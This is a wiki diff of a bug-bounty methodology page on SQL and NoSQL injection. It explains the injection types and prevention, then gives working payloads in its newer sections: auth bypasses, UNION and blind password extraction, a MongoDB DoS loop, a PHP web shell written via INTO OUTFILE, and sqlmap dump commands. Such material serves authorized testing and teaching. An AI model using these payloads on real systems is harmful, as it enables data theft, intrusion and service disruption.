User Tools

Site Tools


tbhm:06_sqli

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Next revision
Previous revision
tbhm:06_sqli [2026/05/14 09:18] – TBHM import drewtbhm:06_sqli [2026/05/14 15:57] (current) – merge bbc ch11 sqli techniques drew
Line 1: Line 1:
-Tactical Fuzzing - SQLi+====== Tactical Fuzzing - SQLi ======
  
-## SQL Injection+===== SQL Injection =====
  
 Core Idea: Does the page look like it might need to call on stored data? Core Idea: Does the page look like it might need to call on stored data?
Line 13: Line 13:
 Works in single quote context, works in double quote context, works in "straight into query" context! Works in single quote context, works in double quote context, works in "straight into query" context!
  
-You can also leverage the large database of fuzzlists from [[https://github.com/danielmiessler/SecLists|Seclists]]+You can also leverage the large database of fuzzlists from Seclists (https://github.com/danielmiessler/SecLists)
  
-## SQL Injection Observations+===== SQL Injection Observations =====
 Blind is predominant, Error based is highly unlikely. Blind is predominant, Error based is highly unlikely.
  
Line 27: Line 27:
  
 SQLMap is king! SQLMap is king!
-Use -l to parse a Burp log file. +  * Use -l to parse a Burp log file. 
-Use Tamper Scripts for blacklists. +  Use Tamper Scripts for blacklists. 
-SQLiPy Burp plugin works well to instrument SQLmap quickly.+  SQLiPy Burp plugin works well to instrument SQLmap quickly.
 Lots of injection in web services! Lots of injection in web services!
  
-## Best SQL injection resources+===== Best SQL injection resources =====
  
-MySQL: +  * MySQL: 
-  [[http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet|PentestMonkey's mySQL injection cheat sheet]] +  [[http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet|PentestMonkey's mySQL injection cheat sheet]] 
-  [[https://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/|Reiners mySQL injection Filter Evasion Cheatsheet]] +  [[https://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/|Reiners mySQL injection Filter Evasion Cheatsheet]] 
-MSSQL: +  MSSQL: 
-  [[http://evilsql.com/main/page2.php|EvilSQL's Error/Union/Blind MSSQL Cheatsheet]] +  [[http://evilsql.com/main/page2.php|EvilSQL's Error/Union/Blind MSSQL Cheatsheet]] 
-  [[http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet|PentestMonkey's MSSQL SQLi injection Cheat Sheet]] +  [[http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet|PentestMonkey's MSSQL SQLi injection Cheat Sheet]] 
-ORACLE: +  ORACLE: 
-  [[http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet|PentestMonkey's Oracle SQLi Cheatsheet]] +  [[http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet|PentestMonkey's Oracle SQLi Cheatsheet]] 
-POSTGRESQL: +  POSTGRESQL: 
-  [[http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet|PentestMonkey's Postgres SQLi Cheatsheet]] +  [[http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet|PentestMonkey's Postgres SQLi Cheatsheet]] 
-Others +  Others 
-  [[http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html|Access SQLi Cheatsheet]] +  [[http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html|Access SQLi Cheatsheet]] 
-  [[http://pentestmonkey.net/cheat-sheet/sql-injection/ingres-sql-injection-cheat-sheet|PentestMonkey's Ingres SQL Injection Cheat Sheet]] +  [[http://pentestmonkey.net/cheat-sheet/sql-injection/ingres-sql-injection-cheat-sheet|PentestMonkey's Ingres SQL Injection Cheat Sheet]] 
-  [[http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet|Pentestmonkey's DB2 SQL Injection Cheat Sheet]] +  [[http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet|Pentestmonkey's DB2 SQL Injection Cheat Sheet]] 
-  [[http://pentestmonkey.net/cheat-sheet/sql-injection/informix-sql-injection-cheat-sheet|Pentestmonkey's Informix SQL Injection Cheat Sheet]] +  [[http://pentestmonkey.net/cheat-sheet/sql-injection/informix-sql-injection-cheat-sheet|Pentestmonkey's Informix SQL Injection Cheat Sheet]] 
-  [[https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet|SQLite3 Injection Cheat sheet]] +  [[https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet|SQLite3 Injection Cheat sheet]] 
-  [[http://rails-sqli.org/|Ruby on Rails (Active Record) SQL Injection Guide]]+  [[http://rails-sqli.org/|Ruby on Rails (Active Record) SQL Injection Guide]] 
 + 
 + 
 + 
 +===== Zseano/Drew SQLi Additions ===== 
 + 
 +**Time-based detection payloads:** 
 +<code> 
 +' or sleep(15) and 1=1# 
 +' or sleep(15)# 
 +' union select sleep(15),null# 
 +'%2Bbenchmark(3200,SHA1(1))%2B' 
 +</code> 
 + 
 +**Polyglot (jhaddix):** 
 +<code> 
 +"SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/ 
 +</code> 
 + 
 +  * Legacy features and old code = most vulnerable targets 
 +  * Test both GET and POST -- one method may be unprotected 
 +  * Web services/APIs especially vulnerable 
 +  * ''sqlmap -l burp.log --tamper=space2comment'' to parse Burp logs 
 + 
 +  * [[zseano:sqli|Full Zseano SQLi Guide]] 
 + 
 + 
 +====== BBC Ch 11: SQL Injection ====== 
 + 
 +//Merged from Bug Bounty Bootcamp Ch 11 by Vickie Li// 
 + 
 +===== How SQL Injection Works ===== 
 + 
 +SQL injection happens when user-supplied input is interpolated directly into a SQL query without sanitization, allowing the attacker to alter the query's logic. 
 + 
 +**Classic example -- auth bypass via comment:** 
 + 
 +<code sql> 
 +SELECT * FROM Users WHERE Username='admin' AND Password='' OR 1=1-- 
 +</code> 
 + 
 +The ''--'' starts a SQL comment, terminating the rest of the query. ''OR 1=1'' always evaluates true, so authentication is bypassed regardless of the password field. 
 + 
 +**Input that achieves this:** 
 +<code> 
 +Username field: admin'-- 
 +Password field: (anything) 
 +</code> 
 + 
 +The ''SELECT'' then becomes: 
 +<code sql> 
 +SELECT * FROM Users WHERE Username='admin'--' AND Password='anything' 
 +</code> 
 + 
 +===== Types of SQL Injection ===== 
 + 
 +==== In-Band SQLi ==== 
 + 
 +Results are returned directly in the HTTP response. 
 + 
 +**UNION-based:** extract data from other tables by appending a UNION SELECT: 
 + 
 +<code sql> 
 +SELECT Title, Body FROM Articles WHERE Id=1 
 +UNION SELECT Username, Password FROM Users 
 +</code> 
 + 
 +To use UNION, the injected SELECT must return the same number of columns as the original query, and data types must be compatible. First determine the column count with ORDER BY: 
 + 
 +<code> 
 +https://example.com/articles?id=1 ORDER BY 1-- 
 +https://example.com/articles?id=1 ORDER BY 2-- 
 +https://example.com/articles?id=1 ORDER BY 3--  (error -> 2 columns) 
 +</code> 
 + 
 +Then extract: 
 +<code> 
 +https://example.com/articles?id=1 UNION SELECT Username, Password FROM Users-- 
 +</code> 
 + 
 +**Error-based:** the database error message itself contains extracted data. Useful when the app shows database errors. 
 + 
 +==== Blind SQLi ==== 
 + 
 +No data returned in the response -- infer data from behavior. 
 + 
 +**Boolean-based:** ask a true/false question; different responses reveal the answer. 
 + 
 +Brute-force admin password character by character using SUBSTR: 
 + 
 +<code sql> 
 +SELECT * FROM Users WHERE Username='admin' 
 +  AND SUBSTR(Password, 1, 1) = 's'-- 
 +</code> 
 + 
 +If page behavior matches the "true" response, the first character is ''s''. Iterate through positions and characters to reconstruct the full password. 
 + 
 +**Time-based:** when there is no observable difference between true and false responses, use SLEEP: 
 + 
 +<code sql> 
 +SELECT * FROM Users WHERE Username='admin' 
 +  AND IF(SUBSTR(Password,1,1)='s', SLEEP(10), 0)-- 
 +</code> 
 + 
 +A 10-second delay confirms the character is correct. 
 + 
 +**Out-of-band:** exfiltrate data via DNS or HTTP to an external server. Used when neither boolean nor time channels are available. 
 + 
 +==== Second-Order SQLi ==== 
 + 
 +The payload is stored in the database (user registration, profile update) and executed later when the application uses that stored value in another SQL query -- typically in a context with different input sanitization. 
 + 
 +Example: register with username ''admin'--''. The registration step sanitizes and stores it safely. Later, a password-change feature builds: 
 +<code sql> 
 +UPDATE Users SET Password='newpass' WHERE Username='admin'--' 
 +</code> 
 + 
 +The comment terminates the WHERE clause, updating ''admin'''s password instead of the attacker's account. 
 + 
 +===== NoSQL Injection ===== 
 + 
 +NoSQL databases (MongoDB, CouchDB) use their own query languages; injection still applies. 
 + 
 +**MongoDB auth bypass with operator injection:** 
 + 
 +Normal login query: 
 +<code javascript> 
 +db.users.find({username: username, password: password}) 
 +</code> 
 + 
 +Inject a MongoDB query operator via JSON body: 
 +<code json> 
 +{"username": "admin", "password": {"$ne": ""}} 
 +</code> 
 + 
 +''$ne'' means "not equal to" -- the password condition is always true, bypassing auth. 
 + 
 +**$where JavaScript injection:** 
 + 
 +<code javascript> 
 +db.users.find({$where: "this.username == 'user' && this.password == 'pass'"}) 
 +</code> 
 + 
 +Inject into the string: 
 +<code> 
 +username=admin'&&+this.password[0]=='a'&&'1'=='
 +</code> 
 + 
 +This builds a JS expression that brute-forces password characters. If the $where clause executes arbitrary JS, you can also cause DoS: 
 + 
 +<code> 
 +username=admin';while(true){}& 
 +</code> 
 + 
 +===== Prevention ===== 
 + 
 +**Prepared statements (parameterized queries):** the query structure is compiled separately from user input. Input is always treated as literal data, never as SQL syntax. This is the primary defense: 
 + 
 +<code java> 
 +PreparedStatement stmt = conn.prepareStatement( 
 +    "SELECT * FROM Users WHERE Username=? AND Password=?"); 
 +stmt.setString(1, username); 
 +stmt.setString(2, password); 
 +</code> 
 + 
 +Input validation and allowlisting (e.g., only allow integers for numeric parameters) provide defense-in-depth. For NoSQL, use the driver's parameterized query APIs. 
 + 
 +===== Hunting for SQLi ===== 
 + 
 +==== Step 1: Identify User-Supplied Input ==== 
 + 
 +Any input that reaches a database query is a candidate: 
 +  * URL query parameters 
 +  * POST body parameters 
 +  * HTTP headers (User-Agent, Referer, X-Forwarded-For, Cookie values) 
 +  * Stored values that are later used in queries (second-order) 
 + 
 +==== Step 2: Inject Test Payloads ==== 
 + 
 +For each input field, send payloads that break out of string context: 
 + 
 +<code> 
 +
 +'' 
 +
 +-- - 
 +;-- - 
 +' OR '1'='
 +' OR 1=1-- 
 +</code> 
 + 
 +Observe for: 
 +  * SQL error messages (table names, column names, database type) 
 +  * Changed behavior (different page content, rows returned) 
 +  * Blank page (unhandled exception) 
 +  * Time delay (time-based blind) 
 + 
 +==== Step 3: Confirm and Extract ==== 
 + 
 +If behavior changes on ''''' but not on '''''', confirm it is SQLi (not just input validation). Proceed with UNION extraction or blind brute-forcing depending on response visibility. 
 + 
 +For time-based confirmation: 
 +<code> 
 +'; IF(1=1, SLEEP(10), 0)-- 
 +'; IF(1=2, SLEEP(10), 0)--   (should NOT sleep) 
 +</code> 
 + 
 +==== Step 4: Determine the Database ==== 
 + 
 +Fingerprint the database to use the correct syntax: 
 +<code sql> 
 +@@version           (MySQL, MSSQL) 
 +version()           (PostgreSQL) 
 +SELECT banner FROM v$version   (Oracle) 
 +</code> 
 + 
 +Enumerate tables and columns: 
 +<code sql> 
 +SELECT table_name FROM information_schema.tables WHERE table_schema=database() 
 +SELECT column_name FROM information_schema.columns WHERE table_name='users' 
 +</code> 
 + 
 +==== Step 5: Escalate ==== 
 + 
 +**Dump credentials:** extract username and password columns from the users table. Crack hashed passwords offline. 
 + 
 +**Web shell via INTO OUTFILE (MySQL, with FILE privilege):** 
 + 
 +<code sql> 
 +SELECT "<?php system($_REQUEST['cmd']); ?>" 
 +INTO OUTFILE '/var/www/html/shell.php' 
 +</code> 
 + 
 +Confirm the web root path from server error messages or default config paths. After writing the file: 
 +<code> 
 +https://example.com/shell.php?cmd=id 
 +</code> 
 + 
 +This gives OS command execution. 
 + 
 +**Automation: sqlmap** 
 + 
 +<code> 
 +sqlmap -u "https://example.com/articles?id=1" -p id --dbs 
 +sqlmap -u "https://example.com/articles?id=1" -p id -D target_db --tables 
 +sqlmap -u "https://example.com/articles?id=1" -p id -D target_db -T users --dump 
 +</code> 
 + 
 +Use ''--level'' and ''--risk'' to increase test coverage. Use ''--forms'' to test form fields automatically. 
 + 
 +===== 5-Step Checklist ===== 
 + 
 +  - Map all user-supplied inputs that reach database queries (URL params, POST body, headers, stored values). 
 +  - Inject ''''' and SQL-breaking payloads; look for errors, behavioral changes, or delays. 
 +  - Confirm: use balanced quotes test (one quote breaks, two quotes restores normal behavior). 
 +  - Fingerprint the database; enumerate tables and columns via information_schema. 
 +  - Extract credentials; attempt INTO OUTFILE web shell if FILE privilege is available; automate with sqlmap.
  
tbhm/06_sqli.1778746728.txt.gz · Last modified: by drew

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki